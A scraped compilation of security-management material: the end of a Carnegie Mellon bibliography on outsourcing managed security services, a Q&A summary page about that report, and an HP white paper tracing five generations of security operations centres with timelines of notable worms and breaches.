Edge.” Information Security Magazine, June, 2001. Available at http://www.infosecuritymag.com/articles/june01/departments_news.shtml . [Andress 02] Andress, Mandy. “Vulnerability -assessment services on the rise.” Network World Fusion, Network World, In c., February 04, 2002. Available at http://www.nwfusion.com/reviews/2002/0204bgside.html . Copyright 2002 Carnegie Mellon University 108 [Armstrong 01] Armstrong, Illena. “Managed Security Services: Outside Providers to the Rescue.” Info Security Magazine. June, 2001. [Basel 01] Basel Committee on Banking Supervision. Risk Management Principles for Electronic Banking , specifically Appendix II Sound Practices for Managing Outsourced E-Banking Systems and Services. Bank for Internatio nal Settlements, May, 2001. Available at http://www.bis.org/publ/bcbs82.pdf . [Bassett 01] Bassett, Greg. “Developing a Computer Security Proposal for Small Businesses - How to Start.” SANS Institute, Aug ust 8, 2000. Available at http://rr.sans.org/policy/cssb.php . [Berkman 01] Berkman, Eric. “MSPs Say They’ll Do It All for You.” CIO Magazine, Nov 1, 2001. Available at http://www.cio.com/archive/110101/msp.html . [BITS 01] BITS Framework: Managing Technology Risk for Information Technology (IT) Service Provider Relationships, Version 3.2a. BITS IT Service Providers Working Group, October, 2001. A vailable at http://www.bitsinfo.org/FrameworkVer32.doc . [Bogart 01] Bogart, Barbara. “Beyond the Firewall: Information Security Offers Solution Providers Increased Opportunities, Additional Respo nsibilities.” Red Siren, December, 2001. Available at http://www.redsiren.com/pdf/BeyondtheFirewall.pdf . [Brittain 02] Brittain, K., Matlus, R. “Road Map for IT Service -Level Management.” Gartner Article Top View, 28 January 2002. [CERT 02] CERT/CC. “CERT® Advisory CA -2002 -03 Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP).” Carnegie Mellon University: Software Engineering Institute, June 2 5, 2002. Available at http://www.cert.org/advisories/CA -2002 -03.html . [Cisco 01] “Cisco AVVID (Architecture for Voice, Video, and Integrated Data) Partner Program - Security and VPN Services: Partner Verification Request for Information (RFI).” Cisco Systems, Inc., 2001. Information about the Partner Program is available at http://www.cisco.com/warp/public/ 779/largeent/partner/esap/secvpn.html . [CIO 01] “Service Level Agreement,” CIO.com. Available at http://www.cio.com/summaries/outsourcing/sla/index.html. [Computel] “Managed Security Monitoring.” Computel. Available at http://www.computel.com.lb/whitepapers4.htm . [Counterpane] “Seven Question You Should Ask Your MSM Vendor.” Available at http://www.counterpane.com/questions.html . Copyright 2002 Carnegie Mellon University 109[Cramm 01] Cramm, Susan. “The Dark Side of Outsourcing.” CIO Magazine, Nov 15, 2001. Available at http://www.cio.com/archive/111501/hs_handson.html [Curtis 01] Curtis, D., Matlus, R., Scott, D. “Taking Magic and Mystery Out of End -to- End Service Levels.” Gartner Research Note: Strategic Planning Assumption, 11 December 2001. [Curtis 02] Curtis, D. “SLA Management: IS Organization and Business -Unit Roles.” Gartner Commentary, 24 January 2002. [DeJesus 01] DeJesus, Edmund. “Managing Managed Security.” Information Security Magazine, January, 2001. Available at http://www.infosecuritymag.com/articles/january01/cover.sh tml. [Forrestal 01] Forrestal, Jeff and Shipley, Greg. “Vulnerability Assessment Scanners.” Network Computing, January 8, 2001. Available at http://www.networkcomputing.com/1201/1201f1b1. html. [Gassman 02] Gassman, B. “Using Metrics to Monitor a Service -Level Agreement.” Gartner Research Note: Strategic Planning Assumption, 24 January 2002. [Glaessner 02] Glaessner, Thomas; Kellermann, Tom; McNevin, Valerie. Electronic Security: Risk Mi tigation in Financial Transactions; Public Policy Issues . The World Bank, June, 2002. Available at http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/(attachmentweb)/ E-security -RiskMitigationversion3/$FILE/E -security -Risk+Mitigation+version+3.pdf [Guardent] “Managed Vulnerability Protection Services.” Guardent, Inc. Available at http://www.guardent.com/vas _overview.html . [Hancock] Hancock, Bill. “Security Outsourcing The Righteous Way.” Presentation slides available at http://fptest.exodus.net/go/drbill/index.html. [Hiles 02] Hiles, Andrew. The Complete Guide to IT Service Level Agreements: Aligning IT Service to Business Needs, Third Edition . Rothstein Associates Inc., Brookfield, CN, 2002. Ordering information is available at http://www.servicelevelbooks.com . [Hulme 01a] Hulme, George. “Security’s Best Friend.” InternetWeek, July 13, 2001. Available at http://www.informationweek.com/story/IWK20010713S0009 . [Hulme 01b] Hulme, George. “Us Great Caution When Choosing a Managed Security Vendor.” InternetWeek, July 13, 2001. Available at http://www.internetweek.com/story/IWK20010713S0006 . Copyright 2002 Carnegie Mellon University 110 [Hurwitz 02] Hurwitz Group. “Hurwitz TrendWatch Special Edition: Weekly Commentary a nd Analysis on the Software and Services Industries.” Hurwitz Group, Inc., August 16, 2001. Available at http://www.hurwitz.com. [Intexxia] “Security Quality of Service.” Intexxia. [ISF 01] Information Security Forum. The Forum’s Standard of Good Practic e: The Standard for Information Security . November 2001. Available at http://www.isfsecuritystandard.com/index_ns.htm . [ISO/IEC 01] ISO/IEC 17799 Information technology – Code of practices f or information security management, First edition . ISO/IEC 17799:2000(E). December 2001. [ISS 01] Internet Security Systems. “How to Select a Managed Security Provider.” April, 2001. Available at http://www.iss.net/support/documentation/whitepapers/market .php. [James 02] James, Natalie. “(Still) At Your Service.” Information Security, TruSecure Corporation, August 2002. Available at http://www.infosecuritymag.com/2002/aug/stillservice.shtml. [King 01] King, Chris. “META Report: Are Managed Security Servi ces Ready for Prime Time?” INT Media Group. July 13, 2001. Available at http://itmanagement.earthweb.com/secu/article/0,,11953_801181,00.html . [Klevinsky 02] Klevinsky, Laliberte, and Gupta. Hack IT Security through Penetration Testing. Addison -Wesley, 2002. [Klomp 01] Klomp, Jeremy. “Security Problems for Small Companies.” SANS Institute, November 6, 2001. Available at http://rr.sans.org/homeoffice/sec_problems.php . [Lacity 01] Lacity, M. and Willcocks, L. Global IT Outsourcing: Search for Business Advantage . John Wiley & Sons, New York, 2001. [Lacity 02] Lacity, M. “Lessons in Global Information Technolo gy Sourcing.” Computer , IEEE Computer Society, August, 2002. [Matlus 02] Matlus, R., Brittain, K. “Creating a Service -Level Agreement for the IS Organization.” Gartner Research Note: Decision Framework, 21 January 2002. [Maurer 02] Maurer, William, Matlu s, Richard. “Reasons to re -compete sourcing deals.” ZDNet Tech Update, provided by Gartner, June 28, 2002. Available at http://techupdate.zdnet.com/techupdate/stori es/main/0,14179,2872254,00.html Copyright 2002 Carnegie Mellon University 111[McHugh 01] McHugh, John, Christie, Alan, and Allen, Julia. “Intrusion Detection: Implementation and Operational Issues.” Crosstalk: The Journal of Defense Software Engineering , Vol. 14, No. 1. January, 2001. Available at http://www.stsc.hill.af.mil/crosstalk/2001/01/mchugh.html . [Messmer, 02] Messmer, Ellen. “Cultivating Managed Security.” Network World, June 10, 2002. Available at http://www.nwfusion.com/news/2002/0610apps.html . [Miller ] Miller, Matthew. “Integrating Security into Your Corporate Infrastructure.” Red Siren, December 13, 2001. Available at http://www.acsac.org/2001/case/Thurs_C_1330_Miller_RedSiren.pdf . [MSSP] Managed Security Services Portal. LURHQ Corporation. Available at http://www.lurhq.c om/mssp.htm . [Navarro 01] Navarro, Luis. “Information Security Risks and Managed Security Service.” Information Security Technical Report, Vol 6, No. 3 , Elsevier, 2001. [Nicolett 02] Nicolett, M., Matlus, R. “SLAs With Outsourcers May Provide Less Than You Realize.” Gartner Commentary, 21 January 2002. [NM 01] Network Magazine India. “Crafting the Service Level Agreement.” India Express Group, 2001. Available at http://www.networkmag azineindia.com/200111/focus1.htm [Ott 01] Ott, Jeffrey L. “Managed Security Services.” Information System Security , Vol 10, No 4, September/October 2001. [Paquet 02] Raquet, Raymond, Nicolett, Mark. “Plan an exit strategy before signing outsourcing cont racts.” ZDNet Tech Update, provided by Gartner, July 30, 2002. Available at http://techupdate.zdnet.com/techupdate/stories/main/0,14179,2875660,00.html. [Parkhouse 02] Parkhouse, Jayne. “May 2002 Market Survey: Security Outta Site.” Info Security Magazine , 2002. Available at http://www.scmagazine.com/scmagazine/2002_05/survey/survey.html . [Pescatore 00] Pescatore, J. “Critical Security Questions to Ask an ASP.” Gartner Resear ch Note DF -10-0972, 9 February 2000. [Pescatore 01a] Pescatore, J., Kavanagh, K., Stiennon, R. “Surviving the Managed Security Services Shakeout.” Gartner Research Note, 15 March 2001. [Pescatore 01b] Pescatore, J. “Choosing a Managed Security Services P rovider.” Gartner Research Note, 31 August 2001. Copyright 2002 Carnegie Mellon University 112 [Pescatore 01c] Pescatore, J. “Critical Security Questions for the Virtual Enterprise.” Gartner Commentary, 19 December 2001. [Pescatore 02] Pescatore, J. “Managed Security Services Provider Magic Quadrant .” Gartner Research Note, 01 February 2002. [Phifer 00] Phifer, Lisa. “Outsourcing Security Needs to a Managed Security Service Provider.” SearchSecurity.com, November 8, 2000. Available at http://searchsecurity.techtarget.com/onlineEventsTranscript/0,289691,sid14_gci511332,00.html . [Ploskina 01] Ploskina, Brian. “Security firms asleep at the firewall.” Interactive Week. July 8, 2001. [Qualys] “ Managed Vulnerability Assessment A Proactive Approach to Network Security.” Qualys, Inc. Available at http://www.qualys.com/docs/wp_mva.pdf . [Radcliff 00] Radcliff, Deborah. “Sizing Up Security Servic es.” Computerworld, Nov 27, 2000. Available at http://www.computerworld.com/cwi/story/0,1199,NAV47_STO54345,00.html . [Radcliff 01] Radcliff, Deborah. “Wanted: A Clear Vi ew of Vulnerability.” Computerworld, Sep 09, 2002. Available at http://www.computerworld.com/securitytopics/security/story/0,10801,73994,00.html . [Raffoul 02 ] Raffoul, Wissam. “The road to outsourcing success.” ZDNet Tech Update, provided by Meta Group, March 4, 2002. Available at http://techupdate.zdnet.com/techupdate/ stories/main/0,14179,2851971,00.html . [Red Siren] Red Siren. “Six Questions to Ask Your Managed Security Services Provider (MSSP).” Available at http://www.redsiren.com/MSSPQuestions.html . [Scheier 01] Scheier, Robert. “Security questions to ask an ASP.” December 6, 2001. Available at http://searchsecurity.techtarget.com/originalContent/0,289142 ,sid14_gci785134,00.html . [Schneier 02] Schneier, Bruce. “The Case for Outsourcing Security.” Security and Privacy: Building Confidence in a Networked World , Supplement to Computer Magazine , IEEE Computer Society, 2002. Available at http://www.computer.org/computer/sp/articles/sch/index.htm . [SourceNet] “Change Without Pain – An Alternative Model for Year One of Outsourcing Agreements.” SourceNet Solutions. Available at http://w ww.sourcenetsolutions.com/publications/download/outsourcing_center_white_pa per.pdf. [Stiennon 01] Stiennon, R. “Selecting a Managed IDS Service.” Gartner Research Note COM -13-0815, 23 April 2001. Copyright 2002 Carnegie Mellon University 113 [Terdiman 01] Terdiman, R. “IT Services Contracts – Exit S trategy Plan.” Gartner Commentary, 17 September 2001. [Tipton 00] Tipton, Harold F., Krause, Micki. Information Security Management, 4th Edition , Auerbach, 2000. This book describes the International Information Systems Security Certification Consortium ( ISC)2 Certified Information Systems Security Professional (CISSP) Common Book of Knowledge (CBK) domain areas. [TSS 01] TSS Publishing Team. “Why Managed Security Services?” TechSafe Solutions, 2001. Available at http://www.techsafesolutions.com/articles/why_mss.htm . [Turek 00] Turek, Norbert. “A Safety Net for Your Web Site: Instituting the right service -level agreement can make sure vendors live up to their promises.” InformationWeek .com, October 16, 2000. Available at http://www.informationweek.com/808/sla.htm . [Verio] “Service Level Agreement (SLA).” Available at http://www.verio.com/products/managed/security/intelsec/sla. cfm. [Wilbanks 01] Wilbanks, Joan. “Outsourcing Internet Security: The Life You Save May Be Your Company’s.” Information Systems Security . Auerbach Publications, CRC Press LLC, May/June 2001. [Yasin 01] Yasin, Rutrell. “Enterprises Size Up Managed Securi ty.” Internet Week, June 19, 2001. Available at http://www.internetwk.com/story/INW20010619S0007 . --- ## Source: https://montance.com/questions.php?id=95 [![pdf](content/images/icons/pdf.svg) Carnegie Mellon University - RFP Ex - Outsourcing Managed Security Services.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgZV8ya3dwNndxRUk/view?usp=sharing) Carnegie Mellon University RFP Ex Outsourcing Managed Security Services Resource covering Economics titled 'Carnegie Mellon University RFP Ex Outsourcing Managed Security Services'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the main purpose of this Carnegie Mellon report? A: To provide guidance and a template for organizations creating a Request for Proposal (RFP) for Managed Security Services (MSS). * Q: What distinction does the report make between 'Management' and 'Monitoring'? A: Management involves configuration and maintenance of devices; Monitoring involves analyzing alerts and logs for threats. * Q: What is a critical 'Exit Strategy' consideration mentioned? A: Ensuring the contract defines how data (logs, configurations) will be returned to the client upon termination. * Q: What financial metric should be requested in an RFP to assess vendor stability? A: Audited financial statements for the past 3 years. * Q: What is the 'SLA' warning regarding 'Time to Notify'? A: That 'Time to Notify' is useless if it starts only after the vendor 'validates' the alert; the clock should start at detection. * Q: Why does the report suggest asking about 'Analyst Turnover'? A: High turnover rates at an MSSP can indicate poor working conditions and a lack of experienced staff handling your data. * Q: What is the 'Co-Management' model described? A: A hybrid approach where the client retains some administrative rights to the security devices managed by the MSSP. * Q: What specific question should be asked regarding 'Portal Access'? A: Whether the client has real-time, read-write, or read-only access to the same console the MSSP analysts use. * Q: How does the report address 'Customization'? A: It warns that excessive customization can lead to higher costs and support challenges; standard services are cheaper but less flexible. * Q: What is the 'Vendor Neutrality' criterion? A: Whether the MSSP requires you to buy specific hardware vendors or can support a heterogeneous environment. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgZlM5NklnVGk2Z1E/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgZlM5NklnVGk2Z1E/view?usp=sharing]** Business white paper 5G/SOC: SOC Generations HP ESP Security Intelligence and Operations Consulting Services Business white paper | HP ESP Security Intelligence and Operations Consulting Services Table of contents 3 E xecutive summary 4 N aming convention for security operations centers 5 F irst-generation SOC: 1975-1995 5 N uisance programs and minimally impacting malicious code era 6 S econd-generation SOC: 1996-2001 6 M alware outbreak and intrusion detection era 7 T hird-generation SOC: 2002-2006 7 B otnets, cybercrime, intrusion prevention, and compliance era 8 F ourth-generation SOC: 2007-2012 8 Cyberwar, Hacktivism, APT, and exfiltration detection era 9 T he 5G/SOC: 2013-? 9 A nalytics and big data, intelligence-driven methodology, information sharing, human adversary approach 12 C onclusion 12 I ndustry leading SOC technologies by HP Enterprise Security 12 E xpert services to mature your SOC 3Since the inception of the Internet, there have been many advances and evolutions in security operations centers (SOC). The industry is currently defining the fifth generation, or 5 G/SOC. This paper walks you through the generations of SOCs, their characteristics and goals, and what the future of security operations holds. Executive summary Security operations centers exist to monitor and protect the IT assets of an organization through standardized and repeatable processes. The first formal security operations centers e xisted in military and government entities where the first functional TCP/IP networks were i nstalled and concepts of intelligence, risk management, and operations were well understood. As commercial and private entities became progressively more connected and IT dependent, the exploitation, and (necessary defense) of this infrastructure quickly emerged. Attackers were wildly successful with only social engineering and a variety of simple exploit methods as IT and network infrastructure adoption outpaced the creation and adoption of security controls. This led to the emergence of completely new markets for both the “good guy” defenders and the “bad guy” attackers in a highly dynamic threat landscape. Operations focused on addressing this threat landscape evolved out of corporate IT, Risk, or Compliance departments in various forms. These security operations teams live in the world between organizational silos, on the front lines of cyber defense. Business white paper | HP ESP Security Intelligence and Operations Consulting Services 4A constant challenge for security operations organizations is to detect current and emerging threats and predict future attack methods. To do this we can look at the current cyber kill chain model, as originally defined by Lockheed Martin.1 The current cyber kill chain consists of five s teps that an attacker achieves during an attack. We see the attackers researching their targets, infiltrating the perimeter defenses and poking around an organization to discover what assets a re available and most valuable. From here they capture the target’s key systems and begin exfiltration of data. By understanding these threats, we can organize our security operations a round each of these steps to verify each phase of the kill chain is addressed. Detection and disruption of activity at each and every stage of the kill chain is critical. If an attack is not detected early in the kill chain, the impact of that attack is amplified and later stage detection bec omes critical. Naming convention for security operations centersThe naming convention for security operations centers has also evolved. Organizations have toyed with different naming conventions to portray advanced capabilities and purpose or avoid po litical pitfalls and stigmas associated with the “operations” moniker in an organization. “Defense Centers” highlight the protective nature of the organization, “Intelligence Centers” show the advanced capabilities and high caliber of analysis. Adding the term “cyber” specifies a n electronic focus as opposed to the physical security team. Inclusion of the term “threat” to reflect the risk based attributes of a monitoring team. Organizations have developed numerous c reative names to represent a security monitoring function. For the purpose of this white paper, we will use “Security operations” and “SOC” in reference to the people, processes and technologies involved in providing situational awareness through the detection, containment, and remediation of IT threats. 1 http://www.lockheedmartin.com/content/dam/ lockheed/data/corporate/documents/LM- Whit e-Paper -Intel -Driven -Defense .pdf Business white paper | HP ESP Security Intelligence and Operations Consulting Services 5Security operations capabilities to date can be grouped into five generations. The first generation of SOCs started as early a s 1975. Early SOCs utilized emerging technologies but were often ad hoc and understaffed. First-generation SOC: 1975-1995 Nuisance programs and minimally impacting malicious code era The first-generation SOC was marked by the birth of the Internet. Most companies at this t ime had no network defense measures. Not long after adoption of the Internet, exploitation and abuse emerged. Early detections of abuse were the results of creative thinking and problem solving but were neither organized nor repeatable. By the mid-eighties, the cyber threat landscape was gaining public visibility in Hollywood movies, in books and publications, and in US Congress. The first security tools emerged in the form of antivirus and firewall s oftware, followed by proxies and network intrusion detection systems. The first “Security O perations” were formalized to monitor and manage these products and respond to threats. Security operations was typically a single person, usually with a networking background, who was tapped to manage an organization’s security devices. Functional Security Operations Centers begin to appear in government and military organizations during the latter half of this generation. The analysis done in these SOCs is largely unstructured, the bandwidth is low, and entrepreneurs begin to see the opportunity in being white hats or black hats. Notable events: 1970’s Phreaking takes advantage of telecommunications systems 1972 First full duplex modem introduced with 1,200 bps 1974 Ethernet developed 1979 Kevin Mitnick uses social engineering to gain access to DEC systems by getting a dial-in password reset 1980 Ethernet commercially introduced 1981 Hayes SmartModem (14.4 kbs) BBS’s emerge (and remote connectivity connects living rooms and dorms around the world) 1983 “War Games” movie released 1984 “2600: Hacker Quarterly” magazine begins publication 1986 “The Cuckoo’s Egg” is published—bringing IT security espionage to print 1986 Computer Fraud and Abuse Act and the Electronic Communications Privacy Act makes it a crime to break into computer systems 1987 Christmas Tree Exec, first widely disruptive self-replicating program 1987 tcpdump created 1987 McAfee Associates creates antivirus software 1988 November—Morris Worm, first worm to spread in the wild (BSD Unix variants) 1988 IRC protocol created by Jarkko Oikarinen 1989 SANS Institute formed 1991 Symantec creates Norton Antivirus software 1992 DEC SEAL, the first commercial firewall is shipped 1993 Windows 3.11 released with peer to peer network capability 1993 USAF creates 67th Air Intelligence Wing (AFCERT) based out of Lackland AFB (San Antonio, TX) to focus on Cyber Intelligence 1993 Bugtraq security mailing list created 1995 Wheelgroup launches first intrusion detection system: NetRanger 1995 “Concept” first macro virusBusiness white paper | HP ESP Security Intelligence and Operations Consulting Services 6Intrusion detection systems played a huge role in second-generation SOCs. Organizations began formalizing some of their processes and procedures around intrusion response and vulnerability tracking. This generation was greatly improved over the first but remained mostly defensive and narrowly focused. Second-generation SOC: 1996-2001 Malware outbreak and intrusion detection era Second-generation Security Operations can be categorized as an era of malware outbreaks including widely impacting viruses and worms which wreaked havoc on corporate and government networks. This was the era which spawned vulnerability tracking and formalized system patching. SOCs were found in government and military organizations and began emerging in the largest commercial organizations. Companies began to commercialize security monitoring and management services and offer these services to paying customers, o therwise known as the Managed Security Service Provider model. There is an explosion of new technology products with varieties of firewalls, antivirus, proxies, vulnerability scanning, a nd intrusion detection systems. The big focus during this period was intrusion detection. Some government and military organizations had robust SNORT and tcpdump deployments; the private sector began to buy commercialized versions of IDS systems in droves during the later years of this era. Nation-states began cyber network exploitation, defense, and attack programs in the later years of this era, however none of these programs were yet known to the public. Security event analysis was largely performed through use of scripts, IDS consoles, and other homegrown tools. The concept of security information event monitoring (SIEM) was introduced at the end of this generation as a technology used to correlate disparate security events into a single system. However analysts would not rely on this single pane of glass in daily operations until the next generation. Notable events: 1996 Managed Security Providers begin offering managed Firewall and IDS services (example Netrex) 1998 SNORT created 1999 MITRE creates the CVE repository/system 1999 SANS creates precursor to Internet Storm Center 1999 Packet Storm security mailing list debut 1999 “Happy99” virus affects Outlook Express and wishes users a happy new year, “Melissa” worm targets Microsoft Word 1999 GLBA introduced with privacy protection standards 2000 “ILOVEYOU” (Love Bug) virus 2001 “Sadmind” worm affects Sun Solaris, “Code Red” & “Code Red II” worm affects MS IIS, “Nimda” worm 2001 Wahoo Technologies is renamed “ArcSight” and “Security Information and Event Management” products are introduced to the marketBusiness white paper | HP ESP Security Intelligence and Operations Consulting Services 7By the mid-2000s, cyber threats had matured into financially-driven attacks organized in an underground ma rketplace. The number of attacks increased at a rapid rate and smaller organizations began feeling the impact of new threats. A new generation of security operations centers emerged to address these attacks and new technologies focused on prevention of attacks rather than just detection. Third-generation SOC: 2002-2006 Botnets, cybercrime, intrusion prevention, and compliance era The third-generation era was most noted for the expansion and organization of cybercrime syndicates which used Bots to steal identity and financial information for monetary gains. The t hird-generation was kicked off in 2003 with hugely impactful malware such as SQL Slammer a nd Blaster, which caused mass disruption of the Internet. That same year, the US-CERT was formed. As this generation continued, malware moved from disruptive worms to targeted attacks. Government, military, and managed service provider (MSSP) organizations had already developed mature security operations centers; large private sector companies within certain industries started to create formal security operations centers. The payment card industry formed the PCI council and required vendors to adhere to security and data protection standards. The cyber exploitation capabilities of nation-states such as China were first noticed d uring this period as the US military and various defense contractors were targeted by China as part of Operation Titan Rain. Computer Incident Response teams formalized crisis management procedures and a focus is placed on early detection capabilities. Adoption of security programs in the private sector increases and major data breaches began to be detected and reported to the public as a result of new breach notification laws. No table events: 2002 Sarbanes Oxley Act dictates IT security controls and individual liability for executives 2003 “SQL Slammer” worm, “Blaster” worm, “Nachi” worm, “Sobig” worm, “Sober” worm 2003 HD Moore creates the Metasploit framework 2003 US-CERT created 2003 California state law SB 1386 requires notification to consumers if PII is disclosed to a third party. This is considered the first breach notification law. 2004 PCI council formed 2004 “Bagle” worm, “MyDoom” worm 2004 Rock phish attack first seen using wildcard DNS entries 2004 First mobile malware, Cabir, written for Symbian OS 2004 “Convention on Cybercrime” treaty goes into effect 2004 Operation Titan Rain (Chinese attack against US Military/Government systems) 2005 “Zotob” worm 2005 “Samy”, the first social media worm, spreads across MySpace 2005 BitTorrent created and peer to peer file sharing explodes 2006 Russian Business Network (RBN) registers domain name for website 2006 US ratifies the “Convention on Cybercrime” treaty 2006 WikiLeaks website launched by Julian AssangeBusiness white paper | HP ESP Security Intelligence and Operations Consulting Services 8Larger and more sophisticated attacks led to more g overnment and mainstream media attention in the last few years. Attacks were larger and attack vectors had become more targeted to individuals. This led to a greater push for security controls and a new generation of security operations to handle more advanced threats. Fourth-generation SOC: 2007-2012 Cyberwar, Hacktivism, APT, and exfiltration detection era Fourth-generation Security Operations was marked by the publicity of a politically motivated cyber threat landscape. News headlines and detailed studies spotlighted nation-states attacking one another with the purpose of stealing intellectual property or sabotage. The first publicly known use of cyber-attacks in the context of an armed conflict changed the way w arfare was viewed when Russia attacked Estonia in 2007. “Hacktivist” organizations gained widespread notoriety for their successful attacks against organizations and individuals with social media tools providing the means for coordination and information dissemination. Organizations began to realize that intrusions will happen regardless of the preventative security technologies in place and the focus shifts from intrusion detection and prevention to exfiltration detection and containment. During this time additional private sector organizations c reated security operations organizations for the purpose of detection, escalation, and remediation of security events. Notable events: 2007 Zeus Trojan/Botnet 2007 TJX breach 2007 Russia attacks Estonia in first publicly known cyberwar 2007 Anonymous gains first media attention 2008 Conficker W orm/Botnet 2008 Hannaford Bros breach 2008-2009 Heartland Payment Systems breach 2010 SpyEye Trojan/Botnet 2009-2010 Operation Aurora—Chinese attacks on companies such as Google, Adobe Systems, Juniper Networks, Yahoo, Symantec, Northrop Grumman, M organ Stanley, and Dow Chemical 2010-2011 WikiLeaks publishes Baghdad Air Strike video and Diplomatic Cables 2010 Stuxnet Trojan attacks Iranian SCADA systems 2011 SpyEye and Zeus Trojan code merged 2011 RSA breach 2011-2012 Anonymous attacks SONY, other DDOS and exploit campaigns release corporate documents via Twitter, paste sites like Pastebin.com , and Torrents 2012 Flame malware discovered, most complex malware seen to dateBusiness white paper | HP ESP Security Intelligence and Operations Consulting Services 9With cyber-attacks growing exponentially, organizations are rushing to find the best way to reduce their risk and limit the i mpact of a breach. Security operations have morphed from reactive to proactive programs. The fifth-generation SOCs are u tilizing the complete visibility from a security devices and SIEM combined with big data analysis to find previously u nknown attack vectors and indicators of long-undetected compromise. This security operations capability is currently growing critical mass in the most advanced SOCs around the world. The 5G/SOC: 2013-? Analytics and big data, intelligence-driven methodology, information sharing, human adversary approach The fifth-generation (5G/SOC) of Security Operations is still evolving. The cyber threat l andscape is evolving at an unprecedented pace and markets are demanding and providing increasingly advanced products. Threats have always been driven by human adversaries, yet most security products provide point solutions for signatures, faults and rogue viruses/worms–5G/SOCs recognize the change in threat landscape and are approaching the challenge holistically: training analysts in security counter-intelligence, surveillance, criminal psychology and analytical thinking to augment the technology investment. While standards and compliance efforts have improved the adoption of security products and practices, 5G/SOCs r ealize that security programs need to be active, engaged, and intelligent—and through that, compliance is achieved—not that compliance regulations will create better security. 5G/SOCs are efficient. They automate the activities that most fourth-generation SOC Analysts p erformed manually, including incident containment and response—human cycles are applied to advanced analytics and subtle event detection. Business white paper | HP ESP Security Intelligence and Operations Consulting Services 105G/SOCs are analysis-focused. They are storing enormous amounts of structured and unstructured data from inside and outside of their organization and using advanced analytical tools to derive intelligence and make predictions based on newly discovered patterns. 5G/SOC’s merge business intelligence and security intelligence tools to create contextual understanding of enterprise and its risks. 5G/SOC analysts include mathematicians, statisticians, theorists and big data scientists to achieve their goals. 5G/SOCs are not alone. The functions of the 5G/SOC have the same goals of previous generations; the main goal being to reduce the risk to an organization by detecting threats before they cause undo damage. To meet this goal, the 5G/SOC must collaborate with others at least as well as attackers are collaborating. No single organization has all the information needed to detect all threats, “Threat Intelligence” services are not broad enough alone, and formal consortiums still have guarded participation. 5G SOC leaders are forming active information sharing groups and direct relationships within their industry/vertical and leverage each other’s expertise to match wits with the adversary. 5G/SOCs are adaptive. They leverage and invest in the expertise of people. Much like it takes a human pilot to fly an aircraft (even an unmanned aircraft), it takes seasoned information s ecurity professionals to provide effective threat detection. Better technology advances o ne’s capabilities, but without the human brainpower behind the technology even the best technology will crash on the pad. 5G/SOCs push the envelope. Organizational structure and operational tactics used by 5G/SOCs will change the nature of the game. Organizations are exploring counter-attack capabilities, investing heavily in intelligence gathering teams, and formalizing hunt teams that track malicious groups and individuals both inside and outside. Governments and large organizations already maintain Red Teams to continually test their Blue Teams. Red Teams attack while Blue Teams defend. Smaller organizations are realizing the value of Red Teaming to support a better defensive posture. In a 5G/SOC, the constant attack and defend exercises are making the enterprise safer against real-world threats. In addition, intelligence teams are collaborating with other organizations to share details about adversary methods, techniques, and tools. Hunt teams take a step back from the triage of alerts and utilize the big data stores to search for previously unknown and unseen attacks. This data analytics driven hunt team will be able to search farther back into the past than has been previously possible to show how long a threat has been active in the environment once its presence is detected. Business white paper | HP ESP Security Intelligence and Operations Consulting Services 11Evolution of tackling security breaches Security breaches to the IT network not only affect infrastructure, but can have a direct impact on the business and in several instances, can tarnish your competitive advantage in the market. Take a look at how the world has been tackling security breaches over the years, improving and rede/fi.g01ADning security at every step. 0102030405Forecasting threats using big data Accurate analysis of structured as well as unstructured data Constant intelligence gathering to strengthen security Action against data theft Collaboration among organizations to enhance securityPrecise solutions for compromised systems and networks Prevention through intelligence Analytics driving threat intelligenceCybercrime syndicates in arms against targeted attacks Effective threat detection Study of trends and Security Information Event Monitoring (SIEM) Alerts to contain spread of attacks Basic threat /fi.g01ADghting Unstructured threat analysis through reports Antivirus and /fi.g01ADre wall solutionsBusiness white paper | HP ESP Security Intelligence and Operations Consulting Services Conclusion Every 5G/SOC must build on the history and capabilities of all previous generations of SOCs. 5G/SOC must cover perimeter security, vulnerability tracking, malware detection, and incident response. 5G/SOCs must detect insider threats and advanced persistent threats. They must m onitor u sers a nd t heir a ctivity f or d ata e xfiltration a nd m ust e ffectively u tilize t hreat in telligence a nd b ig d ata t ools t o fi nd p reviously u nknown a ttacks. N ew t actics a nd t echniques mu st be utilized, new technologies must be implemented, and existing processes must be automated. H ighly t rained a nd m otivated s taff m ust c ollaborate t o r educe t he r isk t o t he en terprise. It is no longer just about securing infrastructure. The 5G/SOC is not only defending the network but is also defending the business and its competitive advantage in the market. Industry leading SOC technologies by HP Enterprise Security HP is a leading provider of security and compliance solutions for the modern enterprise that wants to mitigate risk in their hybrid environment and defend against advanced threats. Based on market-leading products from HP ArcSight, HP Fortify, and HP TippingPoint, the HP Security Intelligence Platform uniquely delivers the advanced correlation, application protection, and network defenses to protect today’s hybrid IT infrastructure from sophisticated cyber threats. Expert services to mature your SOC HP ESP Global Services take a holistic approach to building and operating cyber security and response solutions and capabilities that support the cyber threat management and regulatory compliance needs of the world’s largest enterprises. We use a combination of operational e xpertise—yours a nd o urs—and p roven m ethodologies t o d eliver f ast, e ffective re sults and demonstrate ROI. Our proven, use-case driven solutions combine market-leading technology together with sustainable business and technical process executed by trained and organized people. Learn more at hp.com/go/siocBusiness white paper | HP ESP Security Intelligence and Operations Consulting Services Rate this documentSign up for updates hp.com/go/getupdated © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. The only wa rranties for HP products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an additional warranty. HP shall not be liable for technical or editorial errors or omissions contained herein. 4AA4-6539ENW, May 2013HP Enterprise Security has been building SOCs for enterprises for the last 10 years. We can help you build or mature your security operations. --- ## Source: https://montance.com/questions.php?id=94 [![pdf](content/images/icons/pdf.svg) HP - 5G SOC - SOC Generation.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgZlM5NklnVGk2Z1E/view?usp=sharing) HP 5g SOC SOC Generation Resource covering SOC titled 'HP 5g SOC SOC Generation'. This page contains AI generated 